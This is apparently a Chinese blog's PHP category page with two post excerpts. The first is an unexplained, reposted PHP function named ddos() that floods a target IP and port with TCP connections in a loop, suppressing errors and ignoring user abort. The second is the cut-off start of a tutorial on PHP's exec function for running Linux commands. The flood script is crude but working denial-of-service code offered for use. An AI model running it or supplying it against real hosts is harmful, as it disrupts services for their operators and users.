分类 PHP 下的文章

function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
error_reporting(0);
ignore_user_abort(TRUE);
$exec_time = time() + $time ;
$byte = 0;
while(1) {
    $byte++;
    if(time() > $exec_time) {
         break;
    }
    $fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
    if($fp) {
       fwrite($fp,$byte);
       fclose($fp);
    }
}
}
ddos();

转自:http://istrone.com/?p=758

一般情况下,很少会用php去执行linux命令,不过特殊情况下,你也许会用到这些函数。以前我知道有二个函数可以执行linux命令,一个是exec,一个是shell_exec。其实有很多的,结合手册内容,介绍以下6个函数。
 1.exec函数

<?php     
$test = "ls /tmp/test";   //ls是linux下的查目录,文件的命令     
exec($test,$array);       //执行命令     
print_r($array);     
?>   

  返回结果如下:

- 阅读剩余部分 -